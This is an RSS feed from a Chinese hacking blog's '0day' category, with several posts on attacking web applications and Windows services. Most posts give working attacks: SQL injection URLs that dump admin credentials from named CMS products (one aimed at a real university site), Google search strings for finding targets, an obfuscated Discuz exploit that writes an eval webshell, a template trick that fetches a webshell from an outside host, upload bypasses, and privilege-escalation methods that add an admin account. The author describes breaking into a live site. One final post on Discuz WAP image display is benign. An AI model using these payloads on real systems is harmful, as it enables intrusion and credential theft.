<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Alxston Blog ｜小童De部落 &#187; Oday</title>
	<atom:link href="http://www.alxston.com/post/category/oday/feed" rel="self" type="application/rss+xml" />
	<link>http://www.alxston.com</link>
	<description>临渊羡渔，不如退而结网---Alxston Blog &#38;小童De部落</description>
	<lastBuildDate>Mon, 26 Dec 2011 02:07:19 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>(亲测)千博企业,良精,Shopv8商城0day漏洞</title>
		<link>http://www.alxston.com/post/1091.html</link>
		<comments>http://www.alxston.com/post/1091.html#comments</comments>
		<pubDate>Tue, 20 Apr 2010 06:10:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Oday]]></category>
		<category><![CDATA[0da]]></category>
		<category><![CDATA[Shopv8商城]]></category>
		<category><![CDATA[y漏洞]]></category>
		<category><![CDATA[千博企业]]></category>
		<category><![CDATA[良精]]></category>

		<guid isPermaLink="false">http://www.alxston.com/?p=1091</guid>
		<description><![CDATA[千博企业网站管理系统 Oday 在HitCount.asp这个文件里发现，文件没有调用防注入代码 &#60;% Dim rs, m_SQL Dim m_ID m_ID = ReplaceBadChar(Request.QueryString(“id”)) m_LX = ReplaceBadChar(Request.QueryString(“LX”)) action = ReplaceBadChar(Request.QueryString(“action”)) If action = ”count” Then conn.Execute(“update ”&#38;m_LX&#38;” set ClickNumber = ClickNumber + 1 where ID=” &#38; m_ID &#38; ”") Else m_SQL = ”select ClickNumber from ”&#38;m_LX&#38;” where ID=” &#38; m_ID Set rs = conn.Execute(m_SQL) response.Write ”document.write(“&#38;rs(0)&#38;”);” rs.Close Set rs = Nothing End If %&#62; 就是这个文件了。我们来构造注入语句 如下： http://127.0.0.1/hitcount.asp?lx=Qianbo_about&#38;id=1%20and%201=2%20union%20select%20password%20from%20qianbo_admin   获取管理密码 http://127.0.0.1/hitcount.asp?lx=Qianbo_about&#38;id=1%20and%201=2%20union%20select%20adminname%20from%20qianbo_admin 获取管理帐号 关键字: inurl:Search.asp?Range=Product&#38;Keyword= inurl:ProductBuy.asp?ProductNo= 经过MD5的密码破解顺利进入网站后台程序，接下来传马我就不多说了！ 看图： 良精所有产品通杀 0day 关键字： inurl:Search.asp?Range=Product&#38;Keyword= inurl:ProductBuy.asp?ProductNo= inurl: (ProductShow.asp?ID=) 爆用户： http://127.0.0.1/hitcount.asp?lx=LiangJingCMS_DownSort&#38;id=1%20and%201=2%20union%20select%20adminname%20from%20LiangjingCMS_admin 如果不行 试试下面的 引用 http://127.0.0.1/hitcount.asp?lx=LiangJing_DownSort&#38;id=1%20and%201=2%20union%20select%20adminname%20from%20Liangjing_admin 爆密码： http://127.0.0.1/hitcount.asp?lx=LiangJingCMS_DownSort&#38;id=1%20and%201=2%20union%20select%20password%20from%20LiangjingCMS_admin 如果不行 试试下面的 引用 http://127.0.0.1/hitcount.asp?lx=LiangJing_DownSort&#38;id=1%20and%201=2%20union%20select%20password%20from%20Liangjing_admin Shopv8商城系统 v10.48 0day漏洞 影响版本： Shopv8商城系统 v10.48 漏洞描述： pinglun.asp页面存在SQL注入 Author:Lan3a 转载请注明出处：http://blog.cfyhack.cn/ 前台所有程序都加了防注入代码的，所以我就不去看了。 直接翻后台的看，先看有没有不需要验证的，运气很不错，找到了。 pinglun.asp这个文件。 代码如下： &#60;%dim bookid,action pinglunid=request.QueryString(“id”)     直接提交 action=request.QueryString(“action”) [...]]]></description>
		<wfw:commentRss>http://www.alxston.com/post/1091.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>最新Discuz! 7.1 &amp; 7.2  的 exp 0day</title>
		<link>http://www.alxston.com/post/804.html</link>
		<comments>http://www.alxston.com/post/804.html#comments</comments>
		<pubDate>Thu, 07 Jan 2010 04:47:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Oday]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[7.2]]></category>
		<category><![CDATA[Discuz7.1]]></category>
		<category><![CDATA[最新]]></category>

		<guid isPermaLink="false">http://www.alxston.com/?p=804</guid>
		<description><![CDATA[先看我和X.DW一起搞的一个香港站! (点击放大图片) 漏洞呢.其实1月5号时我知道了&#8230;..网上也公开速度很快!一直没有去下手做,正好听X.DW说他搞了几个站&#8230;所以我也研究了一下! 首先感谢WJS和冰冷的太阳，老君分析过了，我就不多说了，使用exp的话仅限本机测试，其他用途后果自负！ 第一种方法： 先注册个用户然后把 &#60;form method=”post” action=” http://www.xxx.com/bbs/misc.php” enctype=”multipart/form-data”&#62; 帖子ID，指定一个存在的帖子即可：&#60;input type=”text” name=”tid” value=”1&#8243; /&#62; &#60;input type=”hidden” name=”action” value=”imme_binding” /&#62; &#60;input type=”hidden” name=”response[result]” value=”1:2&#8243; /&#62; &#60;input type=”hidden” name=”scriptlang[1][2]” value=”${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102). chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117). chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101). chr(47).chr(117).chr(115).chr(101).chr(114).chr(103).chr(114).chr(111).chr(117).chr(112).chr(95). chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41). chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108). chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41). chr(63).chr(62).chr(39).chr(41).chr(59))}}” /&#62; &#60;input type=”submit” name=”topicsubmit” value=”提交” /&#62; &#60;/form&#62; chr解码后是：value=”${${evalfputs(fopen(&#8216;forumdata/cache/usergroup&#8217;,'w&#8217;),&#8217;&#60;?php eval($_POST[cmd])?&#62;&#8217;); 里面有个提交地址改下，保存html 打开点提交，会生产forumdata/cache/usergroup_01.php一句话文件，密码是cmd 第二种方法： 直接GET，利用语句： misc.php?action=imme_binding&#38;response[result]=aa:b&#38;scriptlang[aa]={${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(P D9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}} 在根目录生成C.PHP密码是C 临时修补方法： 在common.inc.php上面加上 [...]]]></description>
		<wfw:commentRss>http://www.alxston.com/post/804.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>serv-u8 /u9本地提权</title>
		<link>http://www.alxston.com/post/763.html</link>
		<comments>http://www.alxston.com/post/763.html#comments</comments>
		<pubDate>Mon, 21 Dec 2009 02:31:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Oday]]></category>
		<category><![CDATA[serv-u8 /u9]]></category>
		<category><![CDATA[提权]]></category>

		<guid isPermaLink="false">http://www.alxston.com/?p=763</guid>
		<description><![CDATA[受影响系统： serv-u8 不受影响系统： 其他版本不受影响 描述： 看cnbeta发现su出8这个版本了。 想想以前写过一个7的本地提权。 不知道8有什么安全方面的更改。 下载来研究下，发现居然还是可以提权的，只是su7的那个不能直接用，稍微修改了下执行的流程。 Su8的管理平台是http的，继承了su7的方式。 抓包，分析，发现了以下路程是可以利用的。 1， 管理员从管理控制台打开web页面时，是不需要验证密码的。 2， 管理员如果用某URL打开web页面时，虽然需要输入密码，但是无论输入什么，都可以进入。“/?Session=39893&#38;Language=zh,CN&#38;localAdmin=1” 3， 管理员可以添加用户有两种，一种是全局用户，一种是某个域下的用户。而权限设置也是两种，一种是全局，一种是针对用户。 4， 管理员添加了用户的这个包和设置权限这个包，是分开的。 所以，我可以抓包然后转换成php的socket连接post出去。 最后在用经典的ftp登陆，exec命令。达到提权。 前面su7已经说了很多，这里简单的说下好了。 &#8230;..登陆什么的。 1，获取ID。 2，给这个id添加权限。 3，给这个id赋予用户名，密码，目录，权限。 4，登陆后执行系统命令。 这段代码是不能直接当工具使用的。 测试方法： 以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！ &#60;? /* serv-u 8 local exp ver 1.0 如果你在自己的服务器上发现这个文件，厄。。。那太遗憾了，别来找我。 这个文件到处都是，人人都能拿到。 */ ?&#62; &#60;html&#62; &#60;title&#62;Serv-u 8 local exp ver 1.0&#60;/title&#62; &#60;body&#62; &#60;script&#62; function fun_showDiv(show) { document.getElementById(show).style.display="block"; } &#60;/script&#62; &#60;b&#62;Serv-u 8 [...]]]></description>
		<wfw:commentRss>http://www.alxston.com/post/763.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>搜狗拼音输入法提权</title>
		<link>http://www.alxston.com/post/761.html</link>
		<comments>http://www.alxston.com/post/761.html#comments</comments>
		<pubDate>Mon, 21 Dec 2009 02:20:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Oday]]></category>
		<category><![CDATA[提权]]></category>
		<category><![CDATA[搜狗拼音]]></category>
		<category><![CDATA[输入法]]></category>

		<guid isPermaLink="false">http://www.alxston.com/?p=761</guid>
		<description><![CDATA[朋友提权上遇到困难，2003系统，常规方法都无效。能访问的目录只有网站目录和C:\Program Files。所以我仔细看了下Program Files的所有文件夹，搜狗输入法的目录( C:\Program Files\SogouInput\4.3.0.3315 )是唯一一个有权限写入编辑的目录。那么替换里面的执行文件就是目前唯一方法了。 乍看这目录，显然自动升级程序 pinyinup.exe 应该是首选，在自己机器上测试了一下，用计算器替换了源文件，不过等了半天不运行，重启也一样。虽然肯定会运行，但还是希望有更有效率的方法。仔细看了一下，每次启动系统后，搜狗的ImeUtil.exe 都会启动，那就替换它了，结果肯定是成功的。但感觉不够，越多可换的就越好。让效率达到最高。这时觉得这种简单的事情应该有人已经做过了，百度一下取取经，不出所料，已经有人这么做过了，这位仁兄替换的也是PinyinUp.exe，但这样就满足了，没有继续了。 除了imeutil.exe ， pinyinup.exe 之外还有几个DLL文件。肯定是要加载的。找了popup.dll下手，做好的popup.dll 替换了原先的，重启测试，执行了。如果替换3个的话，我想达到效果的速度会快一些 做了个imeutil.exe 和 popup.dll ，供懒人使用，建议替换之前先备份原文件，达到目的后恢复原状。成功执行的话会在系统中添加一个管理员，用户名和密码都是sunwear 看看下面有你感兴趣的文章吗？2009年12月21日 -- serv-u8 /u9本地提权]]></description>
		<wfw:commentRss>http://www.alxston.com/post/761.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>创易网站管理系统CreateEasyCMS 0day</title>
		<link>http://www.alxston.com/post/759.html</link>
		<comments>http://www.alxston.com/post/759.html#comments</comments>
		<pubDate>Mon, 21 Dec 2009 02:12:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Oday]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[CreateEasyCMS]]></category>
		<category><![CDATA[创易网站]]></category>
		<category><![CDATA[管理系统]]></category>

		<guid isPermaLink="false">http://www.alxston.com/?p=759</guid>
		<description><![CDATA[创易网站管理系统CreateEasyCMS 0day 影响版本 1.0 sp1 存在问题的文件User\User_ChkInfo.asp 看这几句代码： view plaincopy to clipboardprint? Sub ChkMain() Dim Title,rsCheck,SQLCheck,SQLCheck2,SQLCheck3 Title=Trim(request(“TitleName”)) ChannelID=CE.ChkClng(request(“ChannelID”)) CE.GetChannelSetting(ChannelID) CE.GetModuleSetting(CE.Channel_Setting(20)) SQLCheck=”Select Top 20 InfoID,Title From CE_Info Where ChannelID=”&#38;ChannelID&#38;” and Title like &#8216;%”&#38;Title&#38;”%&#8217;” SQLCheck2=”Select Top 20 InfoID,Title,Keyword From CE_Info Where ChannelID=”&#38;ChannelID&#38;” and Keyword like &#8216;%”&#38;Title&#38;”%&#8217;” Sub ChkMain() Dim Title,rsCheck,SQLCheck,SQLCheck2,SQLCheck3 Title=Trim(request(“TitleName”)) ChannelID=CE.ChkClng(request(“ChannelID”)) CE.GetChannelSetting(ChannelID) CE.GetModuleSetting(CE.Channel_Setting(20)) SQLCheck=”Select Top 20 InfoID,Title [...]]]></description>
		<wfw:commentRss>http://www.alxston.com/post/759.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Discuz!后台最新0DAY</title>
		<link>http://www.alxston.com/post/733.html</link>
		<comments>http://www.alxston.com/post/733.html#comments</comments>
		<pubDate>Mon, 07 Dec 2009 04:38:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Oday]]></category>
		<category><![CDATA[Discuz]]></category>
		<category><![CDATA[后台]]></category>

		<guid isPermaLink="false">http://www.alxston.com/?p=733</guid>
		<description><![CDATA[目前通吃所有DZ版本。 1. 随便选一模板文件，选择编辑 2. 找一个空间上传一个webshell, 假定其地址为http://www.abc.com/shell.txt 3. 在任意位置输入: {eval copy(&#8216;http://www.abc.com/shell.txt&#8217;, DISCUZ_ROOT.&#8217;./forumdata/shell.php&#8217;);} 4. 保存, 刷新 5. 访问该模板所属的文件 6. 把模板恢复原样 大功告成, 访问/forumdata/shell.php便是可爱的马马。 看看下面有你感兴趣的文章吗？2009年11月17日 -- 推荐《帕赫贝尔-卡农》听后感觉不错！2010年07月1日 -- 清新夏日-16首清新歌曲2009年12月21日 -- 创易网站管理系统CreateEasyCMS 0day2010年01月8日 -- 要搬家了,有点难舍呀!2009年12月29日 -- 美国驻上海领事馆专用电话卡2010年04月12日 -- 黑防难道被黑了？2010年09月8日 -- 刚入手Vodafone版“黑莓9000手机”2009年11月2日 -- 卖后悔药咯！免费文件恢复工具]]></description>
		<wfw:commentRss>http://www.alxston.com/post/733.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IE7.0 异常CSS导致内存破坏漏洞</title>
		<link>http://www.alxston.com/post/715.html</link>
		<comments>http://www.alxston.com/post/715.html#comments</comments>
		<pubDate>Mon, 30 Nov 2009 04:00:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Oday]]></category>
		<category><![CDATA[IE7.0]]></category>
		<category><![CDATA[内存]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.alxston.com/?p=715</guid>
		<description><![CDATA[1．漏洞介绍 在XHTML 1.0标准下，使用特殊构造的CSS样式，在Internet Explorer 7.0 打开特定的网页后，Internet Explorer 7.0将发生内存崩溃，EIP指针将访问0x70613e5b附近的内存区域。如果将0x70613e5b附近覆盖特殊的机器码，就可以执行任意命令。 2．漏洞危害(危害等级高) 黑客如果将含有“漏洞利用程序的网页”置于网站上，浏览过含有“漏洞利用程序的网页”的客户端将被运行特洛伊木马。 3．通知途径 已经向“国家漏洞库”提交。 4．详细文档下载 看看下面有你感兴趣的文章吗？2009年11月29日 -- MSN Editor 漏洞 (转)2009年10月30日 -- 马克斯电影程序(MaxCMS)V2.5漏洞2009年10月30日 -- PunBB官方上传附件扩展注射漏洞2009年10月29日 -- GhostXP系统镜像恢复的漏洞]]></description>
		<wfw:commentRss>http://www.alxston.com/post/715.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MSN Editor 漏洞 (转)</title>
		<link>http://www.alxston.com/post/708.html</link>
		<comments>http://www.alxston.com/post/708.html#comments</comments>
		<pubDate>Sun, 29 Nov 2009 08:39:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Oday]]></category>
		<category><![CDATA[Editor]]></category>
		<category><![CDATA[MSN]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.alxston.com/?p=708</guid>
		<description><![CDATA[这个编辑器相当的简陋，下午拿站的时候碰到了一个，没有数据库备份，也没有什么可以直接上传webshell的地方，简陋到只有一个editor的界面。 简单说下利用的方法吧。 点击图片上传后会出现上传页面，地址为 http://www.xxx.cn/admin/uploadPic.asp?language=&#038;editImageNum=0&#038;editRemNum= 用普通的图片上传后，地址为 http://www.xxx.cn/news/uppic/41513102009204012_1.gif 记住这时候的路径 在点击图片的上传，这时候地址就变成了 http://www.xxx.cn/news/admin/uploadPic.asp?language=&#038;editImageNum=1&#038;editRemNum=41513102009204012 很明显。图片的地址是根据RemNum后面的编号生成的。 利用很简单 配合IIS的解析漏洞，把RemNum后面的数据修改为1.asp;41513102009204012 变成下面这个地址 http://www.xxx.cn/admin/uploadPic.asp?language=&#038;editImageNum=0&#038;editRemNum=1.asp;41513102009204012 然后在浏览器里打开 然后选择你的脚本木马上传 将会返回下面的地址 uppic/1.asp;41513102009204012_2.gif 然后直接打开就是我们的小马地址！ 加上修补方法！ by:想你挡挡闯墙 关键代码： if editRemNum&#60;&#62;”" then remNum = editRemNum else Randomize remNum = Int((999 &#8211; 1 + 1) * Rnd + 1)&#38;day(date)&#38;month(date)&#38;year(date)&#38;hour(time)&#38;minute(time)&#38;second(time) end if remFileName = remNum&#38;”_”&#38;(editImageNum+1)&#38;”.gif” end if 哎，先不讲解了 。 去掉自定义部分，只留下随即参数即可。 保留代码： Randomize remNum = [...]]]></description>
		<wfw:commentRss>http://www.alxston.com/post/708.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>PSArt 新闻发布系统0day</title>
		<link>http://www.alxston.com/post/639.html</link>
		<comments>http://www.alxston.com/post/639.html#comments</comments>
		<pubDate>Tue, 17 Nov 2009 02:48:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Oday]]></category>
		<category><![CDATA[PSArt]]></category>
		<category><![CDATA[新闻]]></category>

		<guid isPermaLink="false">http://www.alxston.com/?p=639</guid>
		<description><![CDATA[PSArt 新闻发布系统 PSArt Ver 1.2.0多文件存在Sql注入，裸奔的一套系统。 Google：Power by CNBaJing.CN 注入语句：http://www.sqnc.edu.cn/kxfzg/news.asp?id=128%20and%201=2%20union%20select%201,username,3,4,5,6,7,password,9%20from%20admin 看看下面有你感兴趣的文章吗？2010年04月15日 -- 啥叫-草根？？？2009年10月29日 -- SupeSite社区本户XSS漏洞2011年06月22日 -- office 2003 2007 2010 各正式版下载地址2010年04月11日 -- 上海世博会概况及门票销售2010年02月10日 -- 以前学校旧址-GOOGLE卫星地图2009年11月2日 -- 友情检测网站！2010年04月14日 -- 去迅雷广告并成为VIP会员(本人亲测)2010年09月8日 -- 百度 &#8216;哼唱搜索&#8217; 低调上线]]></description>
		<wfw:commentRss>http://www.alxston.com/post/639.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Discuz! 7.0下Wap访问显示图片的研究</title>
		<link>http://www.alxston.com/post/463.html</link>
		<comments>http://www.alxston.com/post/463.html#comments</comments>
		<pubDate>Tue, 03 Nov 2009 12:12:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Oday]]></category>
		<category><![CDATA[Discuz! 7.0]]></category>
		<category><![CDATA[Wap访问]]></category>

		<guid isPermaLink="false">http://www.alxston.com/?p=463</guid>
		<description><![CDATA[由于管理自己的论坛，对论坛的一些功能有缺陷的话，会想办法进行完善，于是有了这篇文章。玩黑思路很重要，写程序思路一样很重要。由于网上对相关Discuz论坛wap显示图片的技术文章非常少，而官方迟迟不更新wap版本，所以只能靠自己了。 官方论坛搜了很久，也查看了别人对于5.5版本与6.0版本的处理方法，经过修改，我得到了相应的Discuz!7.0下wap显示图片的方法，利用wapcode这个函数做一些字符串替换，具体代码如下（修改global.func.php中的wapcode函数即可）：   function wapcode($string) {         global $lang;         $string = str_replace(array(&#8216;[attach]&#8216;, &#8217;[/attach]&#8216;), array(&#8216;&#60;img src1=”&#8216;, &#8217;” alt=”p” /&#62;&#8217;), $string);         $string = str_replace(array(&#8216;[img]&#8216;, &#8217;[/img]&#8216;), array(&#8216;&#60;img src2=”&#8216;, &#8217;” alt=”p” /&#62;&#8217;), $string);            $string = preg_replace(“/\[url=(http:\/\/.*?)\](.*?)\[\/url\]/is”, ”&#60;a href=\”\\1\”&#62;\\2&#60;/a&#62;”, $string);         $string = preg_replace(“/\[url\](.*?)\[\/url\]/is”, ”&#60;a href=\”\\1\”&#62;\\1&#60;/a&#62;”, $string);         $string = str_replace(array(&#8216;&#38;&#8217;, &#8217;”&#8216;, &#8217;&#60;&#8217;, &#8217;&#62;&#8217;), array(&#8216;&#38;&#8217;, &#8217;”&#8216;, &#8217;&#38;lt;&#8217;, &#8217;&#38;gt;&#8217;), $string);         $string = str_replace(array(&#8216;&#38;lt;img src1=”&#8216;,&#8217;&#38;lt;img src2=”&#8216;, &#8217;” alt=”p” /&#38;gt;&#8217;), array(&#8216;&#60;img width=”100&#8243; src=”wapattachment.php?aid=&#8217;,'&#60;img width=”100&#8243; src=”&#8216;, &#8217;” alt=”download&#8230;” /&#62; &#8216;), $string);         $string = str_replace(array(&#8216;&#38;lt;a href=”&#8216;, &#8217;”&#38;gt;&#8217;,'&#38;lt;/a&#38;gt;&#8217;), array(&#8216;&#60;a href=”&#8216;, &#8217;”&#62;&#8217;, &#8217;&#60;/a&#62;&#8217;), $string);         $string = preg_replace(“/\[hide\](.+?)\[\/hide\]/is”, $lang['post_hide_reply_hidden'], $string);         $string = preg_replace(“/\[hide=(\d+)\]\s*(.+?)\s*\[\/hide\]/ies”, $lang['post_hide_reply_hidden'], $string);          for($i = 0; $i &#60; 1; $i++) {                 $string = preg_replace(“/\[(\w+)[^\]]*?\](.*?)\[\/\\1\]/is”, ”\\2&#8243;, $string);         }                  return $string; } 测试了下，蛮成功的，图片能正常显示。一个两个图片也没有发现异常，不过图片多的时候突然手机里报错了，仔细看了下代码才发现：这个方法只改了wapcode($string)函数，但没有对wapcutstr($string, &#38;$length)方法做相应调整，所以在前后翻页的时候可能会遇到因img标签被截断而导致页面无法正常显示，这样的话不仅是img标签了，如果不处理wapcutstr想用html标签都没可能性，因为字符串截断的时候不管是不是标签都当成字符串处理，于是我想改wapcutstr这个函数，网上也找到了相应的修改版，但我没继续跟下去，因为后来发现图文并茂的时候在手机里看起来不爽，于是我有了第二种显示图片的思路。 帖子里的图片无非两种：一是远程图片，用[img][/img]调用；而是本地图片，一般情况下可以直接从数据库中读取。既然这样，何必那么麻烦的替换字符串，直接把所有图片都显示出来放在帖子的第一页不就可以了。实现代码（将如下代码添加至thread.inc.php中的$post['author'] = !$post['anonymous'] ? $post['author'] : $lang['anonymous'];前面）： if(!$offset &#124;&#124; $offset==-1){                 if (preg_match_all("/\[img(.*?)\](.*?)\[\/img\]/is",$strpost,$imgout,PREG_PATTERN_ORDER)) {                     $imgnum=count($imgout[2]);                     $img="";                     for ($i=0;$i&#60;$imgnum;$i++){                         if($imgout[1][$i] &#38;&#38; strpos($imgout[1][$i],",")){                         $imgwidth=explode(",",str_replace("=","",$imgout[1][$i]));                         $newwidth=$imgwidth[0]&#62;100?100:$imgwidth[0];                         }else{                         $newwidth=100;                         }                         $img.='&#60;img width="'.$newwidth.'" src="'.$imgout[2][$i].'" alt="download..." /&#62; ';                     }                     $threadposts .= $img;                 }                 if($post['attachment']) {                     $attquery = $db-&#62;query("SELECT * FROM {$tablepre}attachments WHERE pid='$post[pid]'");                     while($attach = $db-&#62;fetch_array($attquery)) {                         if($attach['isimage']) {                             $attachimg.='&#60;img width="100" src="../attachments/'.$attach['attachment'].'" alt="download..." /&#62; ';                         }                     }                     $threadposts .= $attachimg; [...]]]></description>
		<wfw:commentRss>http://www.alxston.com/post/463.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

